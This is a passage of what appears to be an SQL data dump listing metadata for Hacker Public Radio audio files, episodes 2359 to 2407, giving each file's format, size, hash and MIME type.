(2359,'hpr2359.ogg','ogg',13697828,'452cb2e8f609ee41bae0825fe2c95762ecfa6a33','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2359,'hpr2359.spx','spx',6179902,'ccdff23111df252c9e91f6fe9b4d83b779cccdad','application/ogg; charset=binary','Ogg data, Speex audio'),
(2360,'hpr2360.mp3','mp3',7116948,'965cd2f62cfeb29eb43eaa265203b8c85fc8a60c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2360,'hpr2360.ogg','ogg',8247164,'a26a7c6493c09fa774aff400dda9bdb77f78dd0a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2360,'hpr2360.spx','spx',3178207,'f95bf7e7597cf7c87fd8e4d8638b456afb0d3580','application/ogg; charset=binary','Ogg data, Speex audio'),
(2361,'hpr2361.mp3','mp3',19859484,'629db8be5f99c1013c3be28818171f880ff53d40','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2361,'hpr2361.ogg','ogg',22322414,'9c08bb57f8db6e3a067d8b3feb9fd55744e60e20','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2361,'hpr2361.spx','spx',8869174,'aa8e8d781e7bc1f388ab3ca7f28dacb0166465c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2362,'hpr2362.mp3','mp3',6446747,'a8f732b0432feff9d58d1760d2c28cb719981c9f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2362,'hpr2362.ogg','ogg',7206432,'0b70eb7115e66f490f6a410bb90199d31c943f94','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2362,'hpr2362.spx','spx',2878868,'460a30cab294933a99632dfcabb92cc7f5ef8ca0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2363,'hpr2363.mp3','mp3',6198105,'5350473a7cabbe26e90351b19da606a611016ea0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2363,'hpr2363.ogg','ogg',7143077,'6796410dc4fd0a3303f527d524de76b2bbaecaea','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2363,'hpr2363.spx','spx',2767876,'f697be9c4bf40dc1636063160569439358ea5d0d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2364,'hpr2364.mp3','mp3',8076610,'4a420827b31774c5edc6d18c0b72de436b938048','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2364,'hpr2364.ogg','ogg',8430902,'4daa8567f94bc7c8d4ef70b026c60a68c40c9510','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2364,'hpr2364.spx','spx',3606847,'cc616543a87bbcf3549f39b121108230fdc5fb7d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2365,'hpr2365.mp3','mp3',10503954,'fa659367a287e949225db9835bdf404032d2ddbb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2365,'hpr2365.ogg','ogg',11283191,'1c9f28e66b7cdc4aa69e26302b7eaec52e96d181','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2365,'hpr2365.spx','spx',4690902,'49bcf91e0a7fb0e25a4f84440a4bd673eec810e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2366,'hpr2366.mp3','mp3',6410591,'1a051f0b1afc92a1fab596dd0fac8bd4aa6f223c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2366,'hpr2366.ogg','ogg',7193547,'afc837586838cac66bcc94bb1c71ca5ac9579cac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2366,'hpr2366.spx','spx',2862782,'be5b9dae2d83bf8bd10352a007940c43ca7f575d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2367,'hpr2367.mp3','mp3',10766803,'7e51f05820b140ea8df08b0eb672fb6cc0ef6d6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2367,'hpr2367.ogg','ogg',13507985,'cdf2741b896664a3f72046377fb2602a30448cb8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2367,'hpr2367.spx','spx',4808264,'01c4a2dc97014cd266947893f889f72578e7974d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2368,'hpr2368.mp3','mp3',2217438,'4669b4fc64ed60f4f29b28cfea9fd3b12fbefa41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2368,'hpr2368.ogg','ogg',2513649,'64d8d0688cc8f1d51e1e9c125f7aa8d21f7b52f2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2368,'hpr2368.spx','spx',990120,'4ed9b485feb4d5dbc323b6c4ae9a0df5e39b1953','application/ogg; charset=binary','Ogg data, Speex audio'),
(2369,'hpr2369.mp3','mp3',10434074,'41df947f85c757949639b21d101a2b4d31c680a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2369,'hpr2369.ogg','ogg',10025848,'d1e763d5befb871e7d30cf3a3dd5cc3a8fdac374','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2369,'hpr2369.spx','spx',4659747,'162471e378055e74a5d191632327a5a8eebfb212','application/ogg; charset=binary','Ogg data, Speex audio'),
(2370,'hpr2370.mp3','mp3',10172190,'b9cfb8d0a31b649c90f891f456429c5dabd46d39','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2370,'hpr2370.ogg','ogg',10607604,'bd0dff43a566ae58fad0aaf406385800de116548','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2370,'hpr2370.spx','spx',4542660,'65277b5700b3550e54f88954789d95f7ad43f4fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(2371,'hpr2371.mp3','mp3',43211104,'62871de333284c449a0a1408e096bedc24a94fc6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2371,'hpr2371.ogg','ogg',41837231,'133bc72e6fb29be8e66b82af99c465d4475fb29a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2371,'hpr2371.spx','spx',19298240,'58d6583187858e21f66ea0e08627287e7bc8fd7c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2372,'hpr2372.mp3','mp3',26467351,'d28e5565dff8e0a61196d10a4f366cfb13580ffc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2372,'hpr2372.ogg','ogg',26555670,'d9c04120d162bba9d0b755cb40b8ce2512cdf10a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2372,'hpr2372.spx','spx',11820234,'b851e6b5109248d4a2cfb435f897995bf67d39cb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2373,'hpr2373.mp3','mp3',21395642,'1096b82353d7cf5864159bc486bcb63f28f773c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2373,'hpr2373.ogg','ogg',21223454,'5481f94c7a07dbaeb8cf61b1c147c2760046716f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2373,'hpr2373.spx','spx',9555194,'a9ffc7249657008e43d0676ffba71a40634205fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2374,'hpr2374.mp3','mp3',5855546,'76d9714c8260ad50dbcb76c87201db9d3de8ba06','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2374,'hpr2374.ogg','ogg',6509706,'544b0b155f1cc47e67e51bea1a475c25bbfeee48','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2374,'hpr2374.spx','spx',2614851,'bbcca9649c59824c39e399654a7d21d8ce1b561d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2375,'hpr2375.mp3','mp3',8754512,'6b12ca9e836c180334b871e9a2abd0ea5fe3fde1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2375,'hpr2375.ogg','ogg',10190847,'65aebb8ca63ecd3a65e41a78d76bb8f19ece4bfc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2375,'hpr2375.spx','spx',3909590,'aa8ce9b6f76b712f37e0f4ca082c3c26f82d710e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2376,'hpr2376.mp3','mp3',25734128,'080417701b769ffbae447fbf7ece43f14a92f575','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2376,'hpr2376.ogg','ogg',28235843,'2b77aba90af82d398983a1e51748b72771a22c9f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2376,'hpr2376.spx','spx',11492822,'32e85c9cb036ad455dae63e93b8b3e8290971c5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2377,'hpr2377.mp3','mp3',11960250,'65d69014f8dee123f60cbb7638b0b4d0b5fabca4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2377,'hpr2377.ogg','ogg',13227005,'e05026cb3e4b9362f285e1331337a60d6d7177e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2377,'hpr2377.spx','spx',5341290,'efcb2a546acfc9b20096d1227534f9790f686d5c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2378,'hpr2378.mp3','mp3',19498963,'3e12b22cb20df4181be8761390e2588eb7f420c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2378,'hpr2378.ogg','ogg',19508890,'606af2b749b2a486214a1d77a366fa76ff5e4cc8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2378,'hpr2378.spx','spx',8708153,'459a9eb24ef8546d70fb5b99a3ff64aeed8029c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2379,'hpr2379.mp3','mp3',3446892,'d074199fba804c09154a2f085a723c45fcf8c63c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2379,'hpr2379.ogg','ogg',4014434,'c6647b64a1051bab9ee115c713df001a665a5348','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2379,'hpr2379.spx','spx',1539150,'724c218e9869e38ec3375516be8121fc27cbdc47','application/ogg; charset=binary','Ogg data, Speex audio'),
(2380,'hpr2380.mp3','mp3',3098497,'92514b7f3061c0503347cfd344409e2b4e25c618','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2380,'hpr2380.ogg','ogg',3462526,'73b85499999cb4477abae864e662f51c10d8769e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2380,'hpr2380.spx','spx',1383585,'c4f77e0fc54a337f2c2275afd056bdaad4db8c5f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2381,'hpr2381.mp3','mp3',21467147,'aab1f42752262d1b7640833e5b2781048cc445df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2381,'hpr2381.ogg','ogg',21362789,'55e4030cc035beddbe85d92104af91e8acbd8640','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2381,'hpr2381.spx','spx',9587155,'7d596793983ae44cc926826950feabc1ce72fbc6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2382,'hpr2382.mp3','mp3',5551987,'6e9f5e8de309c201a96ffdd8d6bdbd9cbcd54de3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2382,'hpr2382.ogg','ogg',6611815,'02dc67ac0354e1032e0f52a7bd1d600f15843ac5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2382,'hpr2382.spx','spx',2479291,'e031ce21d9986e3ba63e39f788e9fc2727fe1b96','application/ogg; charset=binary','Ogg data, Speex audio'),
(2383,'hpr2383.mp3','mp3',19054508,'df83cccc3aa40c394bd363e6babdc12c63f3bba3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2383,'hpr2383.ogg','ogg',20248755,'82cc915702351ec1649c9bd9878c532f231a82e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2383,'hpr2383.spx','spx',8509620,'5b2daf182dd51829531b88616a3a532a749d5d8e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2384,'hpr2384.mp3','mp3',28284939,'51e639b6bc6d163b1fcb6602ebbbdb4fac3ad558','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2384,'hpr2384.ogg','ogg',30291346,'19d905e6f4896bf635be7e7d4e1733ce4b603bcc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2384,'hpr2384.spx','spx',12632099,'01d0e7a30e82aeb6e4668a197b99ccabe1395656','application/ogg; charset=binary','Ogg data, Speex audio'),
(2385,'hpr2385.mp3','mp3',7265726,'6183e6c3c2ba7cb4a3e29161b90d4d6b462e2406','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2385,'hpr2385.ogg','ogg',8492656,'f67997cb8fe7610d8dbf746eaa6408c9bcec0bc3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2385,'hpr2385.spx','spx',3244654,'2d011523c5a1a7f681289e039f5b92e425d33c0a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2386,'hpr2386.mp3','mp3',14173807,'69d2cf8a587ec9e370568fdb732f30755fe2f1b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2386,'hpr2386.ogg','ogg',15884561,'765075784ffd9441df56dde5a78951e92d3f97f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2386,'hpr2386.spx','spx',6329895,'e9000f0d3ea524604d3a6397d7bf74443094ae70','application/ogg; charset=binary','Ogg data, Speex audio'),
(2387,'hpr2387.mp3','mp3',11035312,'7c064368ed799db8aafca970a1186cafa25f3cc3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2387,'hpr2387.ogg','ogg',12458469,'e43f0558219bc5d0951cac3048b20ff81acb6eda','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2387,'hpr2387.spx','spx',4928128,'6b05b0601499afb640ce4759b812e83d84947909','application/ogg; charset=binary','Ogg data, Speex audio'),
(2388,'hpr2388.mp3','mp3',5418587,'a8b0fce826e00e562628281622de41cf7d36fe88','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2388,'hpr2388.ogg','ogg',6240297,'3611c77e38901fab65cf58a26ebfa9b45ee166c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2388,'hpr2388.spx','spx',2419770,'ffe9f928e32f148d3a3d35c872cc0d61f83e7d5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2389,'hpr2389.mp3','mp3',5612946,'b34d145344593a01d5943bd82d00ff4a9ae21d92','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2389,'hpr2389.ogg','ogg',5840371,'d9cec26d52a2f12259d94c2c831857acf3d96a07','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2389,'hpr2389.spx','spx',2506609,'c7a47bc1465fb86c948c314547ef72f45a7568fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2390,'hpr2390.mp3','mp3',11876221,'580c1893641bab8b88e027415af753601b06b088','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2390,'hpr2390.ogg','ogg',11883152,'9c0ecdb76f782ac1c0945336805fb2385cc39bc0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2390,'hpr2390.spx','spx',5303752,'1295a540df1c70ed647141ff64c22b2303f4d1e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2391,'hpr2391.mp3','mp3',40140364,'6269c9e0ebeddfc5093dce852db600ebedaa24dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2391,'hpr2391.ogg','ogg',38680738,'cca62b8fc1cc5517296cc5fee5ecaf644ee8eada','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2391,'hpr2391.spx','spx',17926883,'8b76495fcf9677e5a601109a2ad1120154c223ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2392,'hpr2392.mp3','mp3',4810660,'92e59578800c8f9fb6bdf847bbf8a637f229e898','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2392,'hpr2392.ogg','ogg',5016519,'33c7498841611952e00afa1942f52523e2e98128','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2392,'hpr2392.spx','spx',2148236,'f1a09faec885680c21132b4bc8a6e43638f95661','application/ogg; charset=binary','Ogg data, Speex audio'),
(2393,'hpr2393.mp3','mp3',11927460,'aa8716c94c0f285084140527a8def78315275d2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2393,'hpr2393.ogg','ogg',13964057,'8154a8a0ce57f3c47d67b665e54579f172680329','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2393,'hpr2393.spx','spx',5326674,'a990346b169b34bcf099040e5c2ff22e1e58b1dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2394,'hpr2394.mp3','mp3',13256160,'7f5e2fb5819c0c1a94c502fb1c6452170a083523','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2394,'hpr2394.ogg','ogg',13493376,'1357dae32e32ff8a1209c97aa7ddb005a00522b4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2394,'hpr2394.spx','spx',5920073,'0fa8430b10a872c439ede082f8d5aea8de719bff','application/ogg; charset=binary','Ogg data, Speex audio'),
(2395,'hpr2395.mp3','mp3',8639311,'6ec85ea8bf19811b5efdb5f048e0f1ed3c6f24f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2395,'hpr2395.ogg','ogg',10077893,'e22c0558589f8db2246eef5883e61e079f792324','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2395,'hpr2395.spx','spx',3858092,'a52dcc231300fcd4451e1b02dd8cf70a12fe50e5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2396,'hpr2396.mp3','mp3',20780282,'20307bf4f36e9590371f2340e9daf61ba75a7887','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2396,'hpr2396.ogg','ogg',22960494,'33dd7157ff0f0fb20c37b61fc11a6f95ff0a847f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2396,'hpr2396.spx','spx',9280459,'8e0d125c8a9151224c3e011a820084a295ec5c61','application/ogg; charset=binary','Ogg data, Speex audio'),
(2397,'hpr2397.mp3','mp3',16737952,'553cecf38c5d41616cad6623afa69a11316d6da7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2397,'hpr2397.ogg','ogg',18248043,'b1a29f317c0bfdab12623892fab5564a88fb7921','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2397,'hpr2397.spx','spx',7475023,'ca15c4cd88e85c4126efece2f484ca0847179cc7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2398,'hpr2398.mp3','mp3',9400288,'50ff7a53bce1b499e6ffb149c361afabde3a06b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2398,'hpr2398.ogg','ogg',9791058,'aa4e82ac54f2901dd9e502928db5dafa95f2e7ab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2398,'hpr2398.spx','spx',4197940,'73c03232981670759451507c41193cc5bbaa908e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2399,'hpr2399.mp3','mp3',6190144,'2e98d3ee424b227affc5cf2fcf375653ac9e62e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2399,'hpr2399.ogg','ogg',5289920,'bbd4903b7508c989e4668a96835d5be5ea1c7625','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2399,'hpr2399.spx','spx',2764350,'6101434b73b81c3fd33af2d06ad0dea50b4308c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2400,'hpr2400.mp3','mp3',18739366,'49f0c1ccd82ea7d872360b2e1ce12b2c9ba7bdba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2400,'hpr2400.ogg','ogg',19979735,'1e524c62e3221eec9f91d3cc6800a812a29e0823','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2400,'hpr2400.spx','spx',8368973,'5799d488d8aed7c5c45af4bb9d99bd812ab81b55','application/ogg; charset=binary','Ogg data, Speex audio'),
(2401,'hpr2401.mp3','mp3',8044651,'c3e9bfb0290cd1bb7470ae0401ac2c79c7fd2c0a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2401,'hpr2401.ogg','ogg',8082765,'d884cea5b23627fbbb09a65411673f34bf1e6f76','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2401,'hpr2401.spx','spx',3592581,'5b5c235fa882387637ba7d29aaa257b85750f8bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2402,'hpr2402.mp3','mp3',20450467,'4c63c7bc75c54adc70c4443054c6fa59f0b161fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2402,'hpr2402.ogg','ogg',21913045,'3ae374942bd4b138ae8ac2d7b690b2a705c2a6a6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2402,'hpr2402.spx','spx',9133137,'3dbb90e62a8c7748139b8e54713c9c8fa583c00c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2403,'hpr2403.mp3','mp3',29509957,'469d18b5465f915e9f9ca7c547c1f03d3d0712cf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2403,'hpr2403.ogg','ogg',28531689,'f1f4bb16047a385d784e343c7816e268394397e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2403,'hpr2403.spx','spx',13179137,'9d09fb87192b47fb70ae454b4c0315f0b2232537','application/ogg; charset=binary','Ogg data, Speex audio'),
(2404,'hpr2404.mp3','mp3',7291894,'8e2fd839e1178f528d858ab40d0b8038deaa736e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2404,'hpr2404.ogg','ogg',7961221,'654af8564468f9fb8eefe3b0b18d834df3ded89a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2404,'hpr2404.spx','spx',3256424,'03be37c8d3250bc1456aecaf415d8e4f4bd9fa8a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2405,'hpr2405.mp3','mp3',6504437,'da71aa8a15bd579515b846ee3b2d5ed35ac04457','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2405,'hpr2405.ogg','ogg',7221366,'850fd76ba04c39dc1b162e9b70409a53132d0315','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2405,'hpr2405.spx','spx',2904673,'cce8611bdeb7637156412f681f48638bdcc9a26e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2406,'hpr2406.mp3','mp3',5155286,'d05139421f48a9585ad2858575def2baf6dac7bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2406,'hpr2406.ogg','ogg',5824891,'656a5167e748019d2e29d79ebbd1526b23dbdae9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2406,'hpr2406.spx','spx',2302161,'6fb26c93621419899b96c640a9fc87630b32594f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2407,'hpr2407.mp3','mp3',10953014,'98fa555be0cdceca0b6b7983ba7aead356c26d90','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
